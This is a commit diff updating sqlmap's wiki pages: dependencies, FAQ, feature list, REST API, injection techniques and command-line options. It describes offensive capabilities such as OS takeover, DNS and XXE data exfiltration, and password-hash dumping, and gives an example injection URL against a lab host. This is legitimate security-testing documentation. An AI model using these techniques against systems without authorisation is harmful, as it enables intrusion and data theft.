Update of Wiki

Miroslav Stampar 2026-07-23 12:14:41 +02:00
parent 6cd7416b33
commit c3306ad775
10 changed files with 484 additions and 133 deletions

@ -1,21 +1,44 @@
# Dependencies
sqlmap is developed in [Python](http://www.python.org), a dynamic, object-oriented, interpreted programming language freely available from [http://python.org/download/](http://python.org/download/). This makes sqlmap a cross-platform application which is independent of the operating system. sqlmap requires Python version **2.7** or **3.x**. To make it even easier, many GNU/Linux distributions come out of the box with Python installed. Other Unixes and Mac OSX also provide Python packaged and ready to be installed. Windows users can download and install the Python installer for x86, AMD64 and Itanium.
sqlmap is developed in [Python](https://www.python.org), a dynamic, object-oriented, interpreted programming language. This makes sqlmap a cross-platform application which is independent of the operating system. sqlmap requires Python version **2.7** or **3.x**, and works out of the box with nothing more than a standard Python installation - no third-party libraries are needed for the core detection, enumeration and exploitation features against web targets.
sqlmap relies on the [Metasploit Framework](http://metasploit.com) for some of its post-exploitation takeover features. You can grab a copy of the framework from the [download](http://metasploit.com/download/) page - the required version is **3.5** or higher. For the ICMP tunneling out-of-band takeover technique, sqlmap requires the [Impacket](https://code.google.com/p/impacket/) library too.
The optional dependencies below are only relevant to specific features.
If you are willing to connect directly to a database server (switch `-d`), without passing through the web application, you need to install Python bindings for the database management system that you are going to attack:
## Operating-system takeover (Metasploit)
* DB2: [python ibm-db](https://code.google.com/p/ibm-db/)
* Firebird: [python-kinterbasdb](http://kinterbasdb.sourceforge.net/)
* Microsoft Access: [python-pyodbc](https://code.google.com/p/pyodbc/)
* Microsoft SQL Server: [python-pymssql](http://code.google.com/p/pymssql/)
* MySQL: [python pymysql](https://github.com/PyMySQL/PyMySQL/)
* Oracle: [python cx_Oracle](http://cx-oracle.sourceforge.net/)
* PostgreSQL: [python-psycopg2](http://initd.org/psycopg/)
* SQLite: [python-pysqlite2](https://code.google.com/p/pysqlite/)
* Sybase: [python-pymssql](http://code.google.com/p/pymssql/)
sqlmap relies on the [Metasploit Framework](https://www.metasploit.com) for some of its out-of-band operating-system takeover features (`--os-pwn`, `--os-smbrelay`, `--os-bof`). You can grab a copy of the framework from its [download](https://www.metasploit.com/download) page and point sqlmap at it with `--msf-path`. For the SMB relay / out-of-band takeover techniques, sqlmap also uses the [Impacket](https://github.com/fortra/impacket) library.
If you plan to attack a web application behind a NTLM authentication you'll need to install [python-ntlm](http://code.google.com/p/python-ntlm/) library.
## Direct database connection (`-d`)
Optionally, if you are running sqlmap on Windows, you may wish to install the [PyReadline](http://ipython.scipy.org/moin/PyReadline/Intro) library in order to take advantage of the sqlmap TAB completion and history support features in the SQL shell and OS shell. Note that these functionalities are available natively via the standard Python [readline](http://docs.python.org/library/readline.html) library on other operating systems.
When connecting directly to a database server with the `-d` switch (bypassing the web application entirely), sqlmap ships a **dependency-free, pure-Python wire-protocol client** (`dbwire`, bundled under `extra/dbwire/`). Thanks to it, `-d` works **out of the box, with no external library**, against **PostgreSQL**, **MySQL**, **Microsoft SQL Server**, **Sybase**, **Firebird**, **MonetDB**, **Vertica**, **ClickHouse**, **CrateDB**, **Presto** and **Cubrid**.
For any other database management system - or when you prefer to use a native/optimized driver - install the corresponding Python binding:
* Microsoft SQL Server / Sybase: [python-pymssql](https://github.com/pymssql/pymssql)
* MySQL: [python-pymysql](https://github.com/PyMySQL/PyMySQL)
* PostgreSQL / CrateDB: [python-psycopg2](https://github.com/psycopg/psycopg2)
* Oracle: [python-oracledb](https://oracle.github.io/python-oracledb/)
* Microsoft Access: [python-pyodbc](https://github.com/mkleehammer/pyodbc)
* Firebird: [python3-firebirdsql](https://github.com/nakagami/pyfirebirdsql)
* IBM DB2 / Informix: [python ibm-db](https://github.com/ibmdb/python-ibmdb)
* HSQLDB / InterSystems Cache: [JayDeBeApi](https://pypi.python.org/pypi/JayDeBeApi/) + [JPype](https://github.com/jpype-project/jpype)
* MonetDB: [pymonetdb](https://github.com/gijzelaerr/pymonetdb)
* Apache Derby: [pydrda](https://github.com/nakagami/pydrda)
* Vertica: [vertica-python](https://github.com/vertica/vertica-python)
* Presto: [presto-python-client](https://github.com/prestodb/presto-python-client)
* MimerSQL: [mimerpy](https://github.com/mimersql/MimerPy)
* ClickHouse: [clickhouse_connect](https://github.com/ClickHouse/clickhouse-connect)
* Cubrid: [CUBRID-Python](https://github.com/CUBRID/cubrid-python)
* SAP HANA: [hdbcli](https://pypi.org/project/hdbcli/)
SQLite requires nothing extra - it is handled through Python's standard-library `sqlite3` module.
You can always run `sqlmap.py --dependencies` to have sqlmap report exactly which (if any) third-party libraries are missing for the features you intend to use.
## Graphical user interface (`--gui`)
The optional graphical user interface (`--gui`) uses Python's standard-library [tkinter](https://docs.python.org/3/library/tkinter.html) module (`tkinter` and `tkinter.ttk`). It is included with most Python installations, but on some GNU/Linux distributions it is packaged separately (e.g. `python3-tk` on Debian/Ubuntu).
## SQL shell / OS shell history (Windows)
Optionally, if you are running sqlmap on Windows, you may wish to install the [pyreadline](https://pypi.org/project/pyreadline/) library in order to take advantage of the sqlmap TAB completion and history support features in the SQL shell and OS shell. Note that these functionalities are available natively via the standard Python [readline](https://docs.python.org/3/library/readline.html) library on other operating systems.

48
FAQ.md

@ -26,7 +26,7 @@ Where `C:\PythonXX` is the path where you installed [Python](http://www.python.o
## Can I embed sqlmap into a proprietary software?
If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses (contact [sales@sqlmap.org](sales@sqlmap.org))
If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses (contact [sales@sqlmap.org](mailto:sales@sqlmap.org))
## How can I report bugs or request new features?
@ -72,16 +72,11 @@ sqlmap is the result of numerous hours of passionated work from a small team of
## How can I follow closely the development?
We tend to keep our Twitter page, [@sqlmap](https://twitter.com/sqlmap), up to date with the development. We certainly update it more often than the [mailing list](http://news.gmane.org/gmane.comp.security.sqlmap).
Hence, if you are keen on keeping a closer look at the development you can:
The [GitHub repository](https://github.com/sqlmapproject/sqlmap) is where all development happens and is the best place to follow it closely. If you are keen on keeping a closer look you can:
* [Watch](https://github.com/sqlmapproject/sqlmap/toggle_watch) the project on GitHub given you have a GitHub account.
* Subscribe to the [Atom feed](https://github.com/sqlmapproject/sqlmap/commits/master.atom) in your feed reader of choice.
* Follow us on Twitter, [@sqlmap](https://twitter.com/sqlmap).
* Watch demos on YouTube: [#1](http://www.youtube.com/user/inquisb/videos) and [#2](http://www.youtube.com/user/stamparm/videos).
* Subscribe to the [mailing list](http://news.gmane.org/gmane.comp.security.sqlmap).
* Alternatively, you can subscribe to the [RSS feed](http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap).
* You can also browse the [posts' archive](http://news.gmane.org/gmane.comp.security.sqlmap) online.
* Use the **Watch** button on the [GitHub repository](https://github.com/sqlmapproject/sqlmap) (requires a GitHub account) to be notified of activity.
* Subscribe to the [commits Atom feed](https://github.com/sqlmapproject/sqlmap/commits/master.atom) in your feed reader of choice.
* Follow [@sqlmap](https://twitter.com/sqlmap) on X (Twitter).
## Can you hack a site for me?
@ -118,6 +113,14 @@ We get occasional rage bursts from unknown people. It should be emphasized that
Done. Both Python 2 and 3 are supported from May of 2019.
## Does sqlmap test anything besides SQL injection?
Yes. Alongside SQL injection, sqlmap ships dedicated engines for several related server-side injection classes, each enabled by its own switch: `--nosql` (NoSQL), `--graphql` (injection reached through a GraphQL endpoint), `--ldap`, `--xpath`, `--ssti` (server-side template injection), `--xxe` (XML External Entity) and `--hql` (Hibernate HQL/JPQL). Only one may be used per run, and each is self-contained: it detects and then exploits within that technique's own workflow (dumping reachable data, reading files, running OS commands for SSTI, etc.), so the usual SQL enumeration switches (`--dbs`, `--tables`, `--dump`, ...) do not apply to them. See the [[Usage]] page for details and console examples.
## Can sqlmap connect straight to a database without a web application?
Yes, via the `-d` switch. Provide a connection string (e.g. `-d "mysql://user:pass@127.0.0.1:3306/testdb"`) and sqlmap will run enumeration, `--sql-query`/`--sql-shell` and the takeover features directly against the DBMS, bypassing SQL injection entirely. This obviously requires valid credentials. For many database management systems no external driver is needed - sqlmap ships a dependency-free pure-Python wire-protocol client (see [[Dependencies]]).
## How can I shorten the payloads injected by sqlmap?
You can provide sqlmap with the following switch:
@ -128,37 +131,25 @@ However, on the other hand you might lose the benefits provided by this switch i
## What does `WARNING unknown charset '...'` mean?
sqlmap needs to properly decode page content to be able to properly detect and deal with internationalized characters. In some cases web developers are doing mistakes when declaring used web page charset (e.g. `iso_8859` instead of standardized name `iso-8859`), which can cause problems. As a failsafe mechanism we have incorporated heuristic detection engine [chardet](http://chardet.feedparser.org/), so in most cases sqlmap will deal with this kind of problems automatically.
sqlmap needs to properly decode page content to be able to properly detect and deal with internationalized characters. In some cases web developers are doing mistakes when declaring used web page charset (e.g. `iso_8859` instead of standardized name `iso-8859`), which can cause problems. As a failsafe mechanism we have incorporated heuristic detection engine [chardet](https://github.com/chardet/chardet), so in most cases sqlmap will deal with this kind of problems automatically.
Nevertheless, you are strongly advised to report us back those typographic *mistakes* so we could handle them manually inside the code.
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/737)
[#2](http://thread.gmane.org/gmane.comp.security.sqlmap/1232)
[#3](http://thread.gmane.org/gmane.comp.security.sqlmap/1239)
## How to use sqlmap with `mod_rewrite` enabled?
Append an asterisk, `*`, to the place where sqlmap should check for injections in URI itself. For example, `./sqlmap.py -u "http://target.tld/id1/1*/id2/2"`, sqlmap will inject its payloads at that place marked with `*` character.
This feature also applies to POST data. Multiple injection points are supported and will be assessed sequentially.
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/731)
[#2](http://thread.gmane.org/gmane.comp.security.sqlmap/728)
[#3](http://thread.gmane.org/gmane.comp.security.sqlmap/1258)
## Why is sqlmap not able to get password hashes in some cases?
The session user most probably does not have enough permissions for querying on a system table containing password hashes.
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/714)
## What does switch `--text-only` do?
Switch `--text-only` is used for removing non-textual data (tags, javascripts, styles, etc.) from the retrieved page content to further improve SQL injection detection capabilities.
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/699)
## I am getting `[CRITICAL] connection timed` while I am able to browse the site normally?
@ -167,15 +158,11 @@ kind of situations you are advised to use switch `--random-agent`.
If you are getting those kind of messages for all targets then you most probably need to properly set up your proxy settings (switches `--proxy`
and/or `--ignore-proxy`).
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/1241)
## Is it possible to use `INSERT/UPDATE` SQL commands via `--sql-query`, `--sql-shell` and `--sql-file`?
It is possible to run those statements as well as any other statement on the target database given that stacked queries SQL injection is supported by the vulnerable application or you are connecting directly to the database with `-d` switch and the session user has such privileges (or a privilege escalation vector has been injected upfront).
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/1237)
## sqlmap is not able to detect/exploit injection while other commercial tools are?
@ -183,8 +170,6 @@ In most of those kind of cases blatant error message detection is used by commer
DBMS error message does not mean that the affected web application is vulnerable to SQL injection attacks. sqlmap goes several steps further and never claims
an injection point without making through tests if it can be exploited on the first place.
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/970)
## How can I dump only certain entries of a table based on my condition?
@ -209,12 +194,7 @@ For example:
--sql-query "SELECT user, password FROM users WHERE privilege='admin'"
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/2309)
## Where can I find old versions of sqlmap?
From the [Tags](https://github.com/sqlmapproject/sqlmap/tags) page on GitHub.
Question(s):
[#1](http://thread.gmane.org/gmane.comp.security.sqlmap/2290)

@ -4,9 +4,9 @@ Features implemented in sqlmap include:
## Generic features
* Full support for **MySQL**, **Oracle**, **PostgreSQL**, **Microsoft SQL Server**, **Microsoft Access**, **IBM DB2**, **SQLite**, **Firebird**, **Sybase**, **SAP MaxDB**, **Informix**, **MariaDB**, **Percona**, **MemSQL**, **TiDB**, **CockroachDB**, **HSQLDB**, **H2**, **MonetDB**, **Apache Derby**, **Amazon Redshift**, **Vertica**, **Mckoi**, **Presto**, **Altibase**, **MimerSQL**, **CrateDB**, **Greenplum**, **Drizzle**, **Apache Ignite**, **Cubrid**, **InterSystems Cache**, **IRIS**, **eXtremeDB**, **FrontBase**, **Raima Database Manager**, **YugabyteDB**, **Aurora**, **OpenGauss**, **ClickHouse**, **Virtuoso**, **DM8**, **Snowflake**, **Spanner**, **Trino**, **SAP Hana** and **DuckDB** database management systems.
* Full support for **MySQL**, **Oracle**, **PostgreSQL**, **Microsoft SQL Server**, **Microsoft Access**, **IBM DB2**, **SQLite**, **Firebird**, **Sybase**, **SAP MaxDB**, **Informix**, **MariaDB**, **Percona**, **MemSQL**, **TiDB**, **Doris**, **StarRocks**, **CockroachDB**, **HSQLDB**, **H2**, **MonetDB**, **Apache Derby**, **Amazon Redshift**, **Vertica**, **Mckoi**, **Presto**, **Altibase**, **MimerSQL**, **CrateDB**, **Greenplum**, **Drizzle**, **Apache Ignite**, **Cubrid**, **InterSystems Cache**, **IRIS**, **eXtremeDB**, **FrontBase**, **Raima Database Manager**, **YugabyteDB**, **Aurora**, **EnterpriseDB**, **Yellowbrick**, **OpenGauss**, **ClickHouse**, **Virtuoso**, **DM8**, **Snowflake**, **Spanner**, **Trino**, **SAP HANA** and **DuckDB** database management systems.
* Full support for six SQL injection techniques: **boolean-based blind**, **time-based blind**, **error-based**, **UNION query**, **stacked queries** and **inline queries**.
* Support for five non-SQL server-side injection techniques: **NoSQL injection**, **GraphQL injection**, **LDAP injection**, **XPath injection** and **server-side template injection**.
* Support for seven non-SQL server-side injection techniques: **NoSQL injection**, **GraphQL injection**, **LDAP injection**, **XPath injection**, **server-side template injection**, **XML External Entity (XXE) injection** and **HQL/JPQL (Hibernate ORM) injection**.
* Support to **directly connect to the database** without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
* It is possible to provide a single target URL, get the list of targets from [Burp proxy](http://portswigger.net/suite/) or [WebScarab proxy](http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) requests log files, get the whole HTTP request from a text file or get the list of targets by providing sqlmap with a Google dork which queries [Google](http://www.google.com) search engine and parses its results page. You can also define a regular-expression based scope that is used to identify which of the parsed addresses to test.
* Tests provided **GET** parameters, **POST** parameters, HTTP **Cookie** header values, HTTP **User-Agent** header value and HTTP **Referer** header value to identify and exploit SQL injection vulnerabilities. It is also possible to specify a comma-separated list of specific parameter(s) to test.
@ -23,16 +23,13 @@ Features implemented in sqlmap include:
* Automatically saves the session (queries and their output, even if partially retrieved) on a textual file in real time while fetching the data and **resumes the injection** by parsing the session file.
* Support to read options from a configuration INI file rather than specify each time all of the switches on the command line. Support also to generate a configuration file based on the command line switches provided.
* Support to **replicate the back-end database tables structure and entries** on a local SQLite 3 database.
* Option to update sqlmap to the latest development version from the subversion repository.
* Option to update sqlmap to the latest development version directly from the [Git repository](https://github.com/sqlmapproject/sqlmap).
* Support to parse HTTP(S) responses and display any DBMS error message to the user.
* Integration with other IT security open source projects, [Metasploit](http://metasploit.com) and [w3af](http://w3af.sourceforge.net).
* Integration with the [Metasploit](https://www.metasploit.com) exploitation framework for out-of-band operating-system takeover (shellcode execution, Meterpreter, SMB relay).
## Fingerprint and enumeration features
* **Extensive back-end database software version and underlying operating system fingerprint** based upon
[error messages](http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html),
[banner parsing](http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html),
[functions output comparison](http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html) and [specific features](http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html) such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it.
* **Extensive back-end database software version and underlying operating system fingerprint** based upon error messages, banner parsing, functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it.
* Basic web server software and web application technology fingerprint.
* Support to retrieve the DBMS **banner**, **session user** and **current database** information. The tool can also check if the session user is a **database administrator** (DBA).
* Support to enumerate **users, password hashes, privileges, roles, databases, tables and columns**.

@ -26,7 +26,7 @@
## 2020
* **Nov 7**, Miroslav presents **sqlmap - "One Tiny Step At a Time"** ([slides](https://www.slideshare.net/stamparm/sqlmap-one-tinystepatatime/stamparm/sqlmap-one-tinystepatatime)) at Bsides Chile 2020 (online).
* **Nov 7**, Miroslav presents **sqlmap - "One Tiny Step At a Time"** ([slides](https://www.slideshare.net/stamparm/sqlmap-one-tinystepatatime)) at Bsides Chile 2020 (online).
* **Jan 1**, stable version [1.4](https://github.com/sqlmapproject/sqlmap/releases/tag/1.4) released ([changeset](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4), [issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)).
## 2019

@ -17,9 +17,9 @@ is the same page as the original one and (the condition evaluates to **True**):
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
differs from the original one (the condition evaluates to **False**). This likely means that you are in front of a SQL injection vulnerability in the `id` `GET` parameter of the `index.php` page. Additionally, no sanitisation of user's supplied input is taking place before the SQL statement is sent to the back-end database management system.
differs from the original one (the condition evaluates to **False**). This likely means that you are in front of a SQL injection vulnerability in the `id` `GET` parameter of the `get_int.php` page. Additionally, no sanitisation of user's supplied input is taking place before the SQL statement is sent to the back-end database management system.
This is quite a common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language; it is a flaw within the application code. The [Open Web Application Security Project](http://www.owasp.org) rated this class of vulnerability as the [most common](https://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf) and serious web application vulnerability in their [Top Ten](http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) list from 2013.
This is quite a common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language; it is a flaw within the application code. The [Open Web Application Security Project](https://owasp.org) has long rated injection (including SQL injection) among the most common and serious web application vulnerabilities in their [Top Ten](https://owasp.org/www-project-top-ten/) list.
Now that you have found the vulnerable parameter, you can exploit it by manipulating the `id` parameter value in the HTTP request.

@ -1,9 +1,9 @@
# License
sqlmap is (C) 2006-2024 [Bernardo Damele Assumpcao Guimaraes](mailto:bernardo@sqlmap.org), [Miroslav Stampar](mailto:miroslav@sqlmap.org).
sqlmap is (C) 2006-2026 [Bernardo Damele Assumpcao Guimaraes](mailto:bernardo@sqlmap.org), [Miroslav Stampar](mailto:miroslav@sqlmap.org).
This program is free software; you may redistribute and/or modify it under the terms of the [GNU General Public License](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) as published by the [Free Software Foundation](http://www.fsf.org); Version 2 (or later) with the clarifications and exceptions described in the [license file](https://raw.github.com/sqlmapproject/sqlmap/master/doc/COPYING). This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses
(contact [sales@sqlmap.org](sales@sqlmap.org)).
This program is free software; you may redistribute and/or modify it under the terms of the [GNU General Public License](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) as published by the [Free Software Foundation](http://www.fsf.org); Version 2 (or later) with the clarifications and exceptions described in the [license file](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE). This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses
(contact [sales@sqlmap.org](mailto:sales@sqlmap.org)).
# Disclaimer

@ -32,8 +32,8 @@ Available API-specific command line options:
| Option | Description |
| --- | --- |
| `-s`, `--server` | Run as a REST-JSON API server |
| `-c`, `--client` | Run as a REST-JSON API client |
| `-s`, `--server` | Run as a REST API server |
| `-c`, `--client` | Run as a REST API client |
| `-H`, `--host` | Host of the REST API server |
| `-p`, `--port` | Port of the REST API server |
| `--adapter` | Server adapter to use |
@ -141,7 +141,7 @@ Response:
```json
{
"success": true,
"version": "1.9.12.1#dev",
"version": "1.10.7.176#dev",
"api_version": 2
}
```
@ -282,7 +282,7 @@ Response:
}
```
Unsupported, read-only and unknown options are rejected:
Unsupported, read-only and unknown options are rejected. An unknown (e.g. misspelled) option is rejected with an `Unknown option ...` message:
```json
{
@ -291,6 +291,8 @@ Unsupported, read-only and unknown options are rejected:
}
```
A handful of interactive/CLI-only options cannot be driven over the API and are rejected as unsupported (`Unsupported option '<name>'`): `sqlShell`, `wizard`, `evalCode`, `alert` and `reportJson`.
Read-only API-controlled options include `api`, `taskid` and `database`.
## Scans

@ -2,8 +2,8 @@
sqlmap is able to detect and exploit six different SQL injection **types**:
* **Boolean-based blind**: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntactically valid SQL statement string containing a `SELECT` sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each character of the output with a maximum of seven HTTP requests. Where the output is not within the clear-text plain charset, sqlmap will adapt the algorithm with bigger ranges to detect the output.
* **Time-based blind**: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntactically valid SQL statement string containing a query which put on hold the back-end DBMS to return for a certain number of seconds. For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of the injected statement character by character. Like for boolean-based technique, the bisection algorithm is applied.
* **Boolean-based blind**: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntactically valid SQL statement string containing a `SELECT` sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap fetches each character of the output in about seven HTTP requests for a plain ASCII character. Where the output is not within the clear-text plain charset, sqlmap adapts the algorithm with bigger ranges (so multi-byte characters cost more), while Huffman coding can bring common characters down to fewer requests during dumping.
* **Time-based blind**: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntactically valid SQL statement string containing a query which put on hold the back-end DBMS to return for a certain number of seconds. For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of the injected statement character by character. Like for boolean-based technique, the bisection algorithm is applied. On HTTP/2 targets that process requests concurrently, the switch `--timeless` can replace the artificial `SLEEP` delay with a jitter-immune [timeless timing](https://www.usenix.org/conference/usenixsecurity20/presentation/van-goethem) oracle (see the Usage page).
* **Error-based**: sqlmap replaces or appends to the affected parameter a database-specific error message provoking statement and parses the HTTP response headers and body in search of DBMS error messages containing the injected pre-defined chain of characters and the subquery statement output within. This technique works only when the web application has been configured to disclose back-end database management system error messages.
* **UNION query-based**: sqlmap appends to the affected parameter a syntactically valid SQL statement starting with an `UNION ALL SELECT`. This technique works when the web application page passes directly the output of the `SELECT` statement within a `for` loop, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit **partial (single entry) UNION query SQL injection** vulnerabilities which occur when the output of the statement is not cycled in a `for` construct, whereas only the first entry of the query output is displayed.
* **Stacked queries**, also known as **piggy backing**: sqlmap tests if the web application supports stacked queries and then, in case it does support, it appends to the affected
@ -17,3 +17,5 @@ Besides classic SQL injection, sqlmap is also able to detect and exploit several
* **LDAP injection**: sqlmap breaks out of the application's LDAP search filter and recovers directory attributes character by character through a boolean-based oracle.
* **XPath injection**: sqlmap breaks out of an XPath/XQuery expression and walks the back-end XML document blindly, retrieving its content character by character.
* **Server-Side Template Injection**: sqlmap fingerprints the underlying template engine (such as Jinja2, Mako, Twig, ERB, Pug, Handlebars, Thymeleaf, FreeMarker and Velocity) and, where the engine allows it, executes arbitrary operating system commands on the underlying server.
* **XML External Entity (XXE) injection**: sqlmap injects an external entity into an XML request body and, once a read primitive is confirmed, auto-harvests high-value host files in-band; for fully blind targets an out-of-band collector can be supplied to exfiltrate the data.
* **HQL/JPQL (Hibernate ORM) injection**: sqlmap detects Hibernate ORM injection, confirming it only on positive ORM evidence (a Hibernate parser diagnostic or an ORM-only construct that plain SQL rejects), and then blindly enumerates the mapped entities, their attributes and rows.

476
Usage.md

@ -20,13 +20,16 @@ Options:
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
--openapi=OPENAP.. Derive targets from OpenAPI/Swagger (file/URL)
--openapi-base=O.. Base URL for a host-less OpenAPI/Swagger spec
--openapi-tags=O.. Only derive targets from operations with these tag(s)
Request:
These options can be used to specify how to connect to the target URL
-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
-X METHOD, --met.. Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
@ -34,15 +37,18 @@ Options:
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--http1.0 Use HTTP version 1.0 (old)
--http2 Use HTTP version 2 (experimental)
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--abort-code=ABO.. Abort on (problematic) HTTP error code(s) (e.g. 401)
--ignore-code=IG.. Ignore (problematic) HTTP error code(s) (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
@ -57,15 +63,18 @@ Options:
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--skip-xmlencode Skip safe encoding of payload data for SOAP/XML
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-data=CSRF.. POST data to send during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
@ -77,8 +86,7 @@ Options:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--no-keep-alive Disable persistent HTTP(s) connections (Keep-Alive)
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
@ -88,11 +96,13 @@ Options:
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--skip-static Skip testing parameters that do not appear to be
dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--esperanto Use the DBMS-agnostic enumeration engine
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
@ -102,6 +112,7 @@ Options:
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
--proof Prove exploitation of the detected injection point(s)
Detection:
These options can be used to customize the detection phase
@ -112,6 +123,7 @@ Options:
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--lengths Compare pages based only on their content length
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
@ -122,14 +134,21 @@ Options:
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--disable-stats Disable the statistical model for detecting the delay
--timeless Use HTTP/2 timeless timing (faster, no delay)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--union-values=U.. Column values to use for UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack (or
'interactsh' for zero-setup OOB)
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Fingerprint:
These options can be used to perform a back-end database management
system version fingerprint
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
@ -153,14 +172,15 @@ Options:
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--dump-all Dump entries of all DBMS database tables
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
--procs Retrieve stored procedures/functions and their source
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
